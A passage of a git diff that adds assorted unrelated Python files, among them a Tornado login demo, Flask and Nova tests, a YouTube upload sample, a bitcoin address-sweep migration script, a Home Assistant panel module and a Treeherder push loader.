mock_cleanup.assert_called_once_with(names=["murano.packages"], + users=murano_ctx.context["users"]) diff --git a/pool/shard009/Python/0082817_test.py b/pool/shard009/Python/0082817_test.py new file mode 100644 index 0000000000000000000000000000000000000000..52905169d2d15ee1f6e3d37b8936e7ab8506f08c --- /dev/null +++ b/pool/shard009/Python/0082817_test.py @@ -0,0 +1,62 @@ +#!/usr/bin/env python +# -*- coding: UTF-8 -*- +# vim:set shiftwidth=4 tabstop=4 expandtab textwidth=79: +# work with python 2.7 + +import tornado.ioloop +import tornado.web + + +class login(tornado.web.RequestHandler): + + def post(self): + a = self.get_argument("USERID","") + b = self.get_argument("PASSWD","") + if a == "123": + self.write("inviled user") + else: + self.write("123 "+ a + " 123123123 " + b) + + +class MainHandler(tornado.web.RequestHandler): + def get(self): + a = ''' + + + + + +Your Login Result + + + + + +
+UserName:
+Password:
+ +
+ + + + + + +''' + self.write(a) + + +application = tornado.web.Application([ + (r"/", MainHandler), + (r"/login", login), +]) + +if __name__ == "__main__": + application.listen(8888) + tornado.ioloop.IOLoop.instance().start() + + diff --git a/pool/shard009/Python/0082821_test_routes.py b/pool/shard009/Python/0082821_test_routes.py new file mode 100644 index 0000000000000000000000000000000000000000..797006a905937d74957a62d04d84c33570e64686 --- /dev/null +++ b/pool/shard009/Python/0082821_test_routes.py @@ -0,0 +1,46 @@ +import unittest + +from knowledge_repo import KnowledgeRepository + + +class RouteTest(unittest.TestCase): + + def setUp(self): + self.repo = KnowledgeRepository.for_uri('tests/test_repo', auto_create=True) + self.app = self.repo.get_app(config='tests/config_server.py').test_client() + self.headers = {} + + def test01_test_index(self): + """ + Test routing / to /feed + """ + rv = self.app.get('/', headers=self.headers) + # index reroutes to /feed + assert (rv.status == "302 FOUND") + + def test02_test_health(self): + """ + Test /health + """ + rv = self.app.get("/health", headers=self.headers) + assert (rv.status == "200 OK") + assert (rv.data.decode('utf-8') == "OK") + + def test03_test_ping(self): + """ + Test /ping + """ + rv = self.app.get("/ping", headers=self.headers) + assert (rv.status == "200 OK") + assert (rv.data.decode('utf-8') == "OK") + + def test04_test_stats(self): + """ + Test /stats + """ + rv = self.app.get('/stats') + assert rv.status == '200 OK' + + +if __name__ == '__main__': + unittest.main() diff --git a/pool/shard009/Python/0082824_uploadvideo.py b/pool/shard009/Python/0082824_uploadvideo.py new file mode 100644 index 0000000000000000000000000000000000000000..e182b90ac453b1d3f2bcb046ec4815d7c64697a5 --- /dev/null +++ b/pool/shard009/Python/0082824_uploadvideo.py @@ -0,0 +1,201 @@ +#!/usr/bin/python + +import httplib +import httplib2 +import os +import random +import sys +import time + +from apiclient.discovery import build +from apiclient.errors import HttpError +from apiclient.http import MediaFileUpload +from oauth2client.client import flow_from_clientsecrets +from oauth2client.file import Storage +from oauth2client.tools import argparser, run_flow +import googleapiclient +import apiclient + +# Explicitly tell the underlying HTTP transport library not to retry, since +# we are handling retry logic ourselves. +httplib2.RETRIES = 1 + +# Maximum number of times to retry before giving up. +MAX_RETRIES = 10 + +# Always retry when these exceptions are raised. +RETRIABLE_EXCEPTIONS = (httplib2.HttpLib2Error, IOError, httplib.NotConnected, + httplib.IncompleteRead, httplib.ImproperConnectionState, + httplib.CannotSendRequest, httplib.CannotSendHeader, + httplib.ResponseNotReady, httplib.BadStatusLine) + +# Always retry when an apiclient.errors.HttpError with one of these status +# codes is raised. +RETRIABLE_STATUS_CODES = [500, 502, 503, 504] + +# The CLIENT_SECRETS_FILE variable specifies the name of a file that contains +# the OAuth 2.0 information for this application, including its client_id and +# client_secret. You can acquire an OAuth 2.0 client ID and client secret from +# the Google Developers Console at +# https://console.developers.google.com/. +# Please ensure that you have enabled the YouTube Data API for your project. +# For more information about using OAuth2 to access the YouTube Data API, see: +# https://developers.google.com/youtube/v3/guides/authentication +# For more information about the client_secrets.json file format, see: +# https://developers.google.com/api-client-library/python/guide/aaa_client_secrets +CLIENT_SECRETS_FILE = "client_secrets.json" + +# This OAuth 2.0 access scope allows an application to upload files to the +# authenticated user's YouTube channel, but doesn't allow other types of access. +YOUTUBE_UPLOAD_SCOPE = "https://www.googleapis.com/auth/youtube.upload" +YOUTUBE_API_SERVICE_NAME = "youtube" +YOUTUBE_API_VERSION = "v3" + +# This variable defines a message to display if the CLIENT_SECRETS_FILE is +# missing. +MISSING_CLIENT_SECRETS_MESSAGE = """ +WARNING: Please configure OAuth 2.0 + +To make this sample run you will need to populate the client_secrets.json file +found at: + + %s + +with information from the Developers Console +https://console.developers.google.com/ + +For more information about the client_secrets.json file format, please visit: +https://developers.google.com/api-client-library/python/guide/aaa_client_secrets +""" % os.path.abspath(os.path.join(os.path.dirname(__file__), + CLIENT_SECRETS_FILE)) + +VALID_PRIVACY_STATUSES = ("public", "private", "unlisted") + + +def get_authenticated_service(args): + flow = flow_from_clientsecrets(CLIENT_SECRETS_FILE, + scope=YOUTUBE_UPLOAD_SCOPE, + message=MISSING_CLIENT_SECRETS_MESSAGE) + + storage = Storage("%s-oauth2.json" % sys.argv[0]) + credentials = storage.get() + + if credentials is None or credentials.invalid: + credentials = run_flow(flow, storage, args) + + return build(YOUTUBE_API_SERVICE_NAME, YOUTUBE_API_VERSION, + http=credentials.authorize(httplib2.Http())) + +def initialize_upload(youtube, options): + tags = None + if options.keywords: + tags = options.keywords.split(",") + + body=dict( + snippet=dict( + title=options.title, + description=options.description, + tags=tags, + categoryId=options.category + ), + status=dict( + privacyStatus=options.privacyStatus + ) + ) + + # Call the API's videos.insert method to create and upload the video. + insert_request = youtube.videos().insert( + part=",".join(body.keys()), + body=body, + # The chunksize parameter specifies the size of each chunk of data, in + # bytes, that will be uploaded at a time. Set a higher value for + # reliable connections as fewer chunks lead to faster uploads. Set a lower + # value for better recovery on less reliable connections. + # + # Setting "chunksize" equal to -1 in the code below means that the entire + # file will be uploaded in a single HTTP request. (If the upload fails, + # it will still be retried where it left off.) This is usually a best + # practice, but if you're using Python older than 2.6 or if you're + # running on App Engine, you should set the chunksize to something like + # 1024 * 1024 (1 megabyte). + media_body=MediaFileUpload(options.file, chunksize=-1, resumable=True) + ) + + resumable_upload(insert_request) + +# This method implements an exponential backoff strategy to resume a +# failed upload. +def resumable_upload(insert_request): + response = None + error = None + retry = 0 + while response is None: + try: + print "Uploading file..." + status, response = insert_request.next_chunk() + if 'id' in response: + print "Video id '%s' was successfully uploaded." % response['id'] + else: + exit("The upload failed with an unexpected response: %s" % response) + except HttpError, e: + if e.resp.status in RETRIABLE_STATUS_CODES: + error = "A retriable HTTP error %d occurred:\n%s" % (e.resp.status, + e.content) + else: + raise + except RETRIABLE_EXCEPTIONS, e: + error = "A retriable error occurred: %s" % e + + if error is not None: + print error + retry += 1 + if retry > MAX_RETRIES: + exit("No longer attempting to retry.") + + max_sleep = 2 ** retry + sleep_seconds = random.random() * max_sleep + print "Sleeping %f seconds and then retrying..." % sleep_seconds + time.sleep(sleep_seconds) + + +def authenticateWithYoutube( args) : + youtube = None + # if not os.path.exists(args.file): + # exit("Please specify a valid file using the --file= parameter.") + try: + youtube = get_authenticated_service(args) + except HttpError, e: + print "An HTTP error %d occurred:\n%s" % (e.resp.status, e.content) + + return youtube + +def uploadMyVideo( youtubeObj, args ): + try: + initialize_upload(youtubeObj, args) + except HttpError, e: + print "An HTTP error %d occurred:\n%s" % (e.resp.status, e.content) + + + +if __name__ == '__main__': + argparser.add_argument("--file", required=True, help="Video file to upload") + argparser.add_argument("--title", help="Video title", default="Test Title") + argparser.add_argument("--description", help="Video description", + default="Test Description") + argparser.add_argument("--category", default="22", + help="Numeric video category. " + + "See https://developers.google.com/youtube/v3/docs/videoCategories/list") + argparser.add_argument("--keywords", help="Video keywords, comma separated", + default="") + argparser.add_argument("--privacyStatus", choices=VALID_PRIVACY_STATUSES, + default=VALID_PRIVACY_STATUSES[0], help="Video privacy status.") + args = argparser.parse_args() + + if not os.path.exists(args.file): + exit("Please specify a valid file using the --file= parameter.") + + youtube = get_authenticated_service(args) + try: + initialize_upload(youtube, args) + except HttpError, e: + print "An HTTP error %d occurred:\n%s" % (e.resp.status, e.content) diff --git a/pool/shard009/Python/0082825_test_mc_servicegroup.py b/pool/shard009/Python/0082825_test_mc_servicegroup.py new file mode 100644 index 0000000000000000000000000000000000000000..3b8399dfe3d8e15cd2a537c43c580c5b978ed7b2 --- /dev/null +++ b/pool/shard009/Python/0082825_test_mc_servicegroup.py @@ -0,0 +1,104 @@ +# Copyright (c) 2013 Akira Yoshiyama +# +# This is derived from test_db_servicegroup.py. +# Copyright 2012 IBM Corp. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +import iso8601 +import mock + +from nova import servicegroup +from nova import test +from oslo_utils import timeutils + + +class MemcachedServiceGroupTestCase(test.NoDBTestCase): + + @mock.patch('nova.cache_utils.get_memcached_client') + def setUp(self, mgc_mock): + super(MemcachedServiceGroupTestCase, self).setUp() + self.mc_client = mock.MagicMock() + mgc_mock.return_value = self.mc_client + self.flags(servicegroup_driver='mc') + self.servicegroup_api = servicegroup.API() + + def test_is_up(self): + service_ref = { + 'host': 'fake-host', + 'topic': 'compute' + } + self.mc_client.get.return_value = None + + self.assertFalse(self.servicegroup_api.service_is_up(service_ref)) + self.mc_client.get.assert_called_once_with('compute:fake-host') + self.mc_client.reset_mock() + self.mc_client.get.return_value = True + self.assertTrue(self.servicegroup_api.service_is_up(service_ref)) + self.mc_client.get.assert_called_once_with('compute:fake-host') + + def test_join(self): + service = mock.MagicMock(report_interval=1) + + self.servicegroup_api.join('fake-host', 'fake-topic', service) + fn = self.servicegroup_api._driver._report_state + service.tg.add_timer_args.assert_called_once_with( + 1, fn, args=[service], initial_delay=5) + + def test_report_state(self): + service_ref = { + 'host': 'fake-host', + 'topic': 'compute' + } + service = mock.MagicMock(model_disconnected=False, + service_ref=service_ref) + fn = self.servicegroup_api._driver._report_state + fn(service) + self.mc_client.set.assert_called_once_with('compute:fake-host', + mock.ANY) + + def test_get_updated_time(self): + updated_at_time = timeutils.parse_strtime("2016-04-18T02:56:25.198871") + service_ref = { + 'host': 'fake-host', + 'topic': 'compute', + 'updated_at': updated_at_time.replace(tzinfo=iso8601.UTC) + } + + # If no record returned from the mc, return record from DB + self.mc_client.get.return_value = None + self.assertEqual(service_ref['updated_at'], + self.servicegroup_api.get_updated_time(service_ref)) + self.mc_client.get.assert_called_once_with('compute:fake-host') + # If the record in mc is newer than DB, return record from mc + self.mc_client.reset_mock() + retval = timeutils.utcnow() + self.mc_client.get.return_value = retval + self.assertEqual(retval.replace(tzinfo=iso8601.UTC), + self.servicegroup_api.get_updated_time(service_ref)) + self.mc_client.get.assert_called_once_with('compute:fake-host') + # If the record in DB is newer than mc, return record from DB + self.mc_client.reset_mock() + service_ref['updated_at'] = \ + retval.replace(tzinfo=iso8601.UTC) + self.mc_client.get.return_value = updated_at_time + self.assertEqual(service_ref['updated_at'], + self.servicegroup_api.get_updated_time(service_ref)) + self.mc_client.get.assert_called_once_with('compute:fake-host') + # If no record returned from the DB, return the record from mc + self.mc_client.reset_mock() + service_ref['updated_at'] = None + self.mc_client.get.return_value = updated_at_time + self.assertEqual(updated_at_time.replace(tzinfo=iso8601.UTC), + self.servicegroup_api.get_updated_time(service_ref)) + self.mc_client.get.assert_called_once_with('compute:fake-host') diff --git a/pool/shard009/Python/0082830_recorder.py b/pool/shard009/Python/0082830_recorder.py new file mode 100644 index 0000000000000000000000000000000000000000..fe497b05a9ac50327e225acf387d8239fd52c2be --- /dev/null +++ b/pool/shard009/Python/0082830_recorder.py @@ -0,0 +1,26 @@ +from mitmproxy import controller +from mitmproxy import eventsequence +from mitmproxy import ctx +import sys + + +class CallLogger: + call_log = [] + + def __init__(self, name = "solo"): + self.name = name + + def __getattr__(self, attr): + if attr in eventsequence.Events: + def prox(*args, **kwargs): + lg = (self.name, attr, args, kwargs) + if attr != "log": + ctx.log.info(str(lg)) + self.call_log.append(lg) + ctx.log.debug("%s %s" % (self.name, attr)) + return prox + raise AttributeError + + +def load(l): + l.boot_into(CallLogger(*sys.argv[1:])) diff --git a/pool/shard009/Python/0082835_sweep_btc.py b/pool/shard009/Python/0082835_sweep_btc.py new file mode 100644 index 0000000000000000000000000000000000000000..96077af19ef37d7defd57202bf8c905212559a80 --- /dev/null +++ b/pool/shard009/Python/0082835_sweep_btc.py @@ -0,0 +1,103 @@ +# -*- coding: utf-8 -*- +""" + Registrar + ~~~~~ + + copyright: (c) 2014 by Halfmoon Labs, Inc. + copyright: (c) 2015 by Blockstack.org + +This file is part of Registrar. + + Registrar is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + Registrar is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with Registrar. If not, see . +""" + +import json +import requests + +from registrar.config import MONGODB_URI, OLD_DB, FRONTEND_SECRET +from registrar.config_local import CHAIN_API_KEY + +from .bip38 import bip38_decrypt +from coinkit import BitcoinKeypair, NamecoinKeypair + +from commontools import log +from coinrpc.bitcoind_server import BitcoindServer +from registrar.config import BITCOIND_SERVER, BITCOIND_PORT, BITCOIND_USER, BITCOIND_PASSWD, BITCOIND_USE_HTTPS, BITCOIND_WALLET_PASSPHRASE +bitcoind = BitcoindServer(BITCOIND_SERVER, BITCOIND_PORT, BITCOIND_USER, BITCOIND_PASSWD, BITCOIND_USE_HTTPS, BITCOIND_WALLET_PASSPHRASE) + +from pymongo import MongoClient + +remote_db = MongoClient(MONGODB_URI).get_default_database() +new_users = remote_db.user +transfer = remote_db.name_transfer + +old_db = MongoClient(OLD_DB).get_default_database() +old_users = old_db.user + + +def sweep_btc(transfer_user, LIVE=False): + + user_id = transfer_user['user_id'] + new_user = new_users.find_one({"_id": user_id}) + + if new_user is None: + return + + old_user = old_users.find_one({'username': new_user['username']}) + + if old_user is None: + return + + new_btc_address = new_user['bitcoin_address'] + old_btc_address = json.loads(old_user['profile'])['bitcoin']['address'] + + wif_pk = bip38_decrypt(str(transfer_user['encrypted_private_key']), FRONTEND_SECRET) + + keypair = BitcoinKeypair.from_private_key(wif_pk) + + if old_btc_address == keypair.address(): + + balance = fetch_balance(old_btc_address) + + if balance == float(0): + return False + + log.debug(new_user['username']) + log.debug("old btc address: " + old_btc_address) + bitcoind.importprivkey(keypair.wif_pk()) + + if LIVE: + log.debug("sending " + str(balance) + " to " + new_btc_address) + tx = bitcoind.sendtoaddress(new_btc_address, balance) + log.debug(tx) + else: + log.debug("need to send " + str(balance) + " to " + new_btc_address) + + log.debug("final balance: %s", balance) + log.debug('-' * 5) + + return True + + return False + + +def fetch_balance(btc_address): + + try: + r = requests.get('https://api.chain.com/v1/bitcoin/addresses/' + btc_address + '?api-key-id=' + CHAIN_API_KEY) + balance = r.json()['balance'] * 0.00000001 #convert to BTC from Satoshis + except Exception as e: + return None + + return balance diff --git a/pool/shard009/Python/0082836_init__.py b/pool/shard009/Python/0082836_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..2d2967f50701a59f9be9ab72883ab062a9603f75 --- /dev/null +++ b/pool/shard009/Python/0082836_init__.py @@ -0,0 +1,17 @@ +"Krylov Solvers" + +from info import __doc__ + +from _gmres import * +from _fgmres import * +from _cg import * +from _cr import * +from _cgnr import * +from _cgne import * +from _bicgstab import * +from _steepest_descent import * +from _minimal_residual import * + +__all__ = [s for s in dir() if not s.startswith('_')] +from numpy.testing import Tester +test = Tester().test diff --git a/pool/shard009/Python/0082838_init__.py b/pool/shard009/Python/0082838_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..f6a4fcdb73393089b8e8dc274d52c39d56bf3f7f --- /dev/null +++ b/pool/shard009/Python/0082838_init__.py @@ -0,0 +1,172 @@ +"""Register a custom front end panel.""" +import logging +import os + +import voluptuous as vol + +import homeassistant.helpers.config_validation as cv +from homeassistant.loader import bind_hass + +_LOGGER = logging.getLogger(__name__) + +DOMAIN = 'panel_custom' +CONF_COMPONENT_NAME = 'name' +CONF_SIDEBAR_TITLE = 'sidebar_title' +CONF_SIDEBAR_ICON = 'sidebar_icon' +CONF_URL_PATH = 'url_path' +CONF_CONFIG = 'config' +CONF_WEBCOMPONENT_PATH = 'webcomponent_path' +CONF_JS_URL = 'js_url' +CONF_MODULE_URL = 'module_url' +CONF_EMBED_IFRAME = 'embed_iframe' +CONF_TRUST_EXTERNAL_SCRIPT = 'trust_external_script' +CONF_URL_EXCLUSIVE_GROUP = 'url_exclusive_group' +CONF_REQUIRE_ADMIN = 'require_admin' + +MSG_URL_CONFLICT = \ + 'Pass in only one of webcomponent_path, module_url or js_url' + +DEFAULT_EMBED_IFRAME = False +DEFAULT_TRUST_EXTERNAL = False + +DEFAULT_ICON = 'mdi:bookmark' +LEGACY_URL = '/api/panel_custom/{}' + +PANEL_DIR = 'panels' + +CONFIG_SCHEMA = vol.Schema({ + DOMAIN: vol.All(cv.ensure_list, [vol.Schema({ + vol.Required(CONF_COMPONENT_NAME): cv.string, + vol.Optional(CONF_SIDEBAR_TITLE): cv.string, + vol.Optional(CONF_SIDEBAR_ICON, default=DEFAULT_ICON): cv.icon, + vol.Optional(CONF_URL_PATH): cv.string, + vol.Optional(CONF_CONFIG): dict, + vol.Exclusive(CONF_WEBCOMPONENT_PATH, CONF_URL_EXCLUSIVE_GROUP, + msg=MSG_URL_CONFLICT): cv.string, + vol.Exclusive(CONF_JS_URL, CONF_URL_EXCLUSIVE_GROUP, + msg=MSG_URL_CONFLICT): cv.string, + vol.Exclusive(CONF_MODULE_URL, CONF_URL_EXCLUSIVE_GROUP, + msg=MSG_URL_CONFLICT): cv.string, + vol.Optional(CONF_EMBED_IFRAME, + default=DEFAULT_EMBED_IFRAME): cv.boolean, + vol.Optional(CONF_TRUST_EXTERNAL_SCRIPT, + default=DEFAULT_TRUST_EXTERNAL): cv.boolean, + vol.Optional(CONF_REQUIRE_ADMIN, default=False): cv.boolean, + })]) +}, extra=vol.ALLOW_EXTRA) + + +@bind_hass +async def async_register_panel( + hass, + # The url to serve the panel + frontend_url_path, + # The webcomponent name that loads your panel + webcomponent_name, + # Title/icon for sidebar + sidebar_title=None, + sidebar_icon=None, + # HTML source of your panel + html_url=None, + # JS source of your panel + js_url=None, + # JS module of your panel + module_url=None, + # If your panel should be run inside an iframe + embed_iframe=DEFAULT_EMBED_IFRAME, + # Should user be asked for confirmation when loading external source + trust_external=DEFAULT_TRUST_EXTERNAL, + # Configuration to be passed to the panel + config=None, + # If your panel should only be shown to admin users + require_admin=False): + """Register a new custom panel.""" + if js_url is None and html_url is None and module_url is None: + raise ValueError('Either js_url, module_url or html_url is required.') + if (js_url and html_url) or (module_url and html_url): + raise ValueError('Pass in only one of JS url, Module url or HTML url.') + + if config is not None and not isinstance(config, dict): + raise ValueError('Config needs to be a dictionary.') + + custom_panel_config = { + 'name': webcomponent_name, + 'embed_iframe': embed_iframe, + 'trust_external': trust_external, + } + + if js_url is not None: + custom_panel_config['js_url'] = js_url + + if module_url is not None: + custom_panel_config['module_url'] = module_url + + if html_url is not None: + custom_panel_config['html_url'] = html_url + + if config is not None: + # Make copy because we're mutating it + config = dict(config) + else: + config = {} + + config['_panel_custom'] = custom_panel_config + + await hass.components.frontend.async_register_built_in_panel( + component_name='custom', + sidebar_title=sidebar_title, + sidebar_icon=sidebar_icon, + frontend_url_path=frontend_url_path, + config=config, + require_admin=require_admin, + ) + + +async def async_setup(hass, config): + """Initialize custom panel.""" + if DOMAIN not in config: + return True + + success = False + + for panel in config[DOMAIN]: + name = panel[CONF_COMPONENT_NAME] + + kwargs = { + 'webcomponent_name': panel[CONF_COMPONENT_NAME], + 'frontend_url_path': panel.get(CONF_URL_PATH, name), + 'sidebar_title': panel.get(CONF_SIDEBAR_TITLE), + 'sidebar_icon': panel.get(CONF_SIDEBAR_ICON), + 'config': panel.get(CONF_CONFIG), + 'trust_external': panel[CONF_TRUST_EXTERNAL_SCRIPT], + 'embed_iframe': panel[CONF_EMBED_IFRAME], + 'require_admin': panel[CONF_REQUIRE_ADMIN], + } + + panel_path = panel.get(CONF_WEBCOMPONENT_PATH) + + if panel_path is None: + panel_path = hass.config.path( + PANEL_DIR, '{}.html'.format(name)) + + if CONF_JS_URL in panel: + kwargs['js_url'] = panel[CONF_JS_URL] + + elif CONF_MODULE_URL in panel: + kwargs['module_url'] = panel[CONF_MODULE_URL] + + elif not await hass.async_add_job(os.path.isfile, panel_path): + _LOGGER.error( + "Unable to find webcomponent for %s: %s", name, panel_path) + continue + + else: + url = LEGACY_URL.format(name) + hass.http.register_static_path(url, panel_path) + kwargs['html_url'] = url + + await async_register_panel(hass, **kwargs) + + success = True + + return success diff --git a/pool/shard009/Python/0082841_steps.py b/pool/shard009/Python/0082841_steps.py new file mode 100644 index 0000000000000000000000000000000000000000..f54e81cb1a6e9287e8654f54d9a65b1c4d9fb213 --- /dev/null +++ b/pool/shard009/Python/0082841_steps.py @@ -0,0 +1,30 @@ +from network import Monitor, Network +import matplotlib.pyplot as plt + +@given("network with {neuron_num:d} neurons") +def step_impl(context, neuron_num): + context.network = Network(neuron_num) + +@given("update") +def step_impl(context): + context.network.update() + +@given("monitor") +def step_impl(context): + context.monitor = Monitor(context.network) + +@when("update {n:d} times") +def step_impl(context, n): + for i in range(n): + context.network.update() + if hasattr(context, "monitor"): + context.monitor.update() + +@then("plot output") +def step_impl(context): + plt.scatter( + context.monitor.x, + context.monitor.y, + color="black", + marker=".") + plt.show() diff --git a/pool/shard009/Python/0082842_compile_helpers.py b/pool/shard009/Python/0082842_compile_helpers.py new file mode 100644 index 0000000000000000000000000000000000000000..ddd8c6300d0e96e94ba2accb681c372c8a28464d --- /dev/null +++ b/pool/shard009/Python/0082842_compile_helpers.py @@ -0,0 +1,91 @@ +# Licensed to the Apache Software Foundation (ASF) under one or more +# contributor license agreements. See the NOTICE file distributed with +# this work for additional information regarding copyright ownership. +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +import os +import os.path +import logging +from build_pack_utils import FileUtil + + +_log = logging.getLogger('helpers') + + +class FakeBuilder(object): + def __init__(self, ctx): + self._ctx = ctx + + +class FakeInstaller(object): + def __init__(self, builder, installer): + self._installer = installer + self.builder = builder + + +def setup_htdocs_if_it_doesnt_exist(ctx): + if is_web_app(ctx): + htdocsPath = os.path.join(ctx['BUILD_DIR'], 'htdocs') + if not os.path.exists(htdocsPath): + fu = FileUtil(FakeBuilder(ctx), move=True) + fu.under('BUILD_DIR') + fu.into('htdocs') + fu.where_name_does_not_match( + '^%s.*$' % os.path.join(ctx['BUILD_DIR'], '.bp')) + fu.where_name_does_not_match( + '^%s.*$' % os.path.join(ctx['BUILD_DIR'], '.extensions')) + fu.where_name_does_not_match( + '^%s.*$' % os.path.join(ctx['BUILD_DIR'], '.bp-config')) + fu.where_name_does_not_match( + '^%s.*$' % os.path.join(ctx['BUILD_DIR'], 'manifest.yml')) + fu.where_name_does_not_match( + '^%s.*$' % os.path.join(ctx['BUILD_DIR'], 'lib')) + fu.done() + + +def convert_php_extensions(ctx): + _log.debug('Converting PHP extensions') + SKIP = ('cli', 'pear', 'cgi') + ctx['PHP_EXTENSIONS'] = \ + "\n".join(["extension=%s.so" % ex + for ex in ctx['PHP_EXTENSIONS'] if ex not in SKIP]) + path = '@{HOME}/php/lib/php/extensions/no-debug-non-zts-20100525' + ctx['ZEND_EXTENSIONS'] = \ + "\n".join(['zend_extension="%s/%s.so"' % (path, ze) + for ze in ctx['ZEND_EXTENSIONS']]) + + +def build_php_environment(ctx): + _log.debug('Building PHP environment variables') + ctx["PHP_ENV"] = \ + "\n".join(["env[%s] = $%s" % (k, k) for k in os.environ.keys()]) + + +def is_web_app(ctx): + return ctx.get('WEB_SERVER', '') != 'none' + + +def find_stand_alone_app_to_run(ctx): + app = ctx.get('APP_START_CMD', None) + if not app: + possible_files = ('app.php', 'main.php', 'run.php', 'start.php') + for pf in possible_files: + if os.path.exists(os.path.join(ctx['BUILD_DIR'], pf)): + app = pf + break + if not app: + print 'Build pack could not find a PHP file to execute!' + _log.info('Build pack could not find a file to execute. Either ' + 'set "APP_START_CMD" or include one of these files [%s]', + ", ".join(possible_files)) + app = 'app.php' + return app diff --git a/pool/shard009/Python/0082843_push_loader.py b/pool/shard009/Python/0082843_push_loader.py new file mode 100644 index 0000000000000000000000000000000000000000..09aed45f9778bec4db875734d56e222c8dc89d33 --- /dev/null +++ b/pool/shard009/Python/0082843_push_loader.py @@ -0,0 +1,270 @@ +import logging + +import newrelic.agent +from django.conf import settings +from django.core.exceptions import ObjectDoesNotExist + +from treeherder.etl.common import (fetch_json, + generate_revision_hash, + to_timestamp) +from treeherder.etl.push import store_push_data +from treeherder.model.models import Repository + +logger = logging.getLogger(__name__) + + +class PushLoader: + """Transform and load a list of pushes""" + + def process(self, message_body, exchange): + transformer = self.get_transformer_class(exchange)(message_body) + try: + newrelic.agent.add_custom_parameter("url", transformer.repo_url) + newrelic.agent.add_custom_parameter("branch", transformer.branch) + repo = Repository.objects.get(url=transformer.repo_url, + branch=transformer.branch, + active_status="active") + newrelic.agent.add_custom_parameter("repository", repo.name) + + except ObjectDoesNotExist: + repo_info = transformer.get_info() + repo_info.update({ + "url": transformer.repo_url, + "branch": transformer.branch, + }) + newrelic.agent.record_custom_event("skip_unknown_repository", + repo_info) + logger.warn("Skipping unsupported repo: {} {}".format( + transformer.repo_url, + transformer.branch)) + return + + transformed_data = transformer.transform(repo.name) + + logger.info("Storing push for {} {} {}".format( + repo.name, + transformer.repo_url, + transformer.branch)) + store_push_data(repo, [transformed_data]) + + def get_transformer_class(self, exchange): + if "github" in exchange: + if exchange.endswith("push"): + return GithubPushTransformer + elif exchange.endswith("pull-request"): + return GithubPullRequestTransformer + elif "/hgpushes/" in exchange: + return HgPushTransformer + raise PulsePushError( + "Unsupported push exchange: {}".format(exchange)) + + +class GithubTransformer: + + CREDENTIALS = { + "client_id": settings.GITHUB_CLIENT_ID, + "client_secret": settings.GITHUB_CLIENT_SECRET + } + + def __init__(self, message_body): + self.message_body = message_body + self.repo_url = message_body["details"]["event.head.repo.url"].replace( + ".git", "") + self.branch = self.get_branch() + + def get_branch(self): + return self.message_body["details"]["event.base.repo.branch"] + + def get_info(self): + # flatten the data a bit so it will show in new relic as fields + info = self.message_body["details"].copy() + info.update({ + "organization": self.message_body["organization"], + "repository": self.message_body["repository"] + }) + return info + + def fetch_push(self, url, repository, sha=None): + params = {"sha": sha} if sha else {} + params.update(self.CREDENTIALS) + + logger.info("Fetching push details: {}".format(url)) + newrelic.agent.add_custom_parameter("sha", sha) + + commits = self.get_cleaned_commits(fetch_json(url, params)) + head_commit = commits[-1] + push = { + "revision": head_commit["sha"], + "push_timestamp": to_timestamp( + head_commit["commit"]["author"]["date"]), + "author": head_commit["commit"]["author"]["email"], + } + + revisions = [] + for commit in commits: + revisions.append({ + "comment": commit["commit"]["message"], + "author": u"{} <{}>".format( + commit["commit"]["author"]["name"], + commit["commit"]["author"]["email"]), + "revision": commit["sha"] + }) + + push["revisions"] = revisions + return push + + def get_cleaned_commits(self, commits): + """Allow a subclass to change the order of the commits""" + return commits + + +class GithubPushTransformer(GithubTransformer): + # { + # organization:mozilla - services + # details:{ + # event.type:push + # event.base.repo.branch:master + # event.head.repo.branch:master + # event.head.user.login:mozilla-cloudops-deploy + # event.head.repo.url:https://github.com/mozilla-services/cloudops-jenkins.git + # event.head.sha:845aa1c93726af92accd9b748ea361a37d5238b6 + # event.head.ref:refs/heads/master + # event.head.user.email:mozilla-cloudops-deploy@noreply.github.com + # } + # repository:cloudops-jenkins + # version:1 + # } + + URL_BASE = "https://api.github.com/repos/{}/{}/commits" + + def transform(self, repository): + commit = self.message_body["details"]["event.head.sha"] + push_url = self.URL_BASE.format( + self.message_body["organization"], + self.message_body["repository"] + ) + return self.fetch_push(push_url, repository, sha=commit) + + def get_cleaned_commits(self, commits): + # The list of commits will include ones not in the push. we + # need to trim the list + base_sha = self.message_body["details"]["event.base.sha"] + for idx, commit in enumerate(commits): + if commit["sha"] == base_sha: + commits = commits[:idx] + return list(reversed(commits)) + + +class GithubPullRequestTransformer(GithubTransformer): + # { + # "organization": "mozilla", + # "action": "synchronize", + # "details": { + # "event.type": "pull_request.synchronize", + # "event.base.repo.branch": "master", + # "event.pullNumber": "1692", + # "event.base.user.login": "mozilla", + # "event.base.repo.url": "https: // github.com / mozilla / treeherder.git", + # "event.base.sha": "ff6a66a27c2c234e5820b8ffe48f17d85f1eb2db", + # "event.base.ref": "master", + # "event.head.user.login": "mozilla", + # "event.head.repo.url": "https: // github.com / mozilla / treeherder.git", + # "event.head.repo.branch": "github - pulse - pushes", + # "event.head.sha": "0efea0fa1396369b5058e16139a8ab51cdd7bd29", + # "event.head.ref": "github - pulse - pushes", + # "event.head.user.email": "mozilla@noreply.github.com", + # }, + # "repository": "treeherder", + # "version": 1 + # } + + URL_BASE = "https://api.github.com/repos/{}/{}/pulls/{}/commits" + 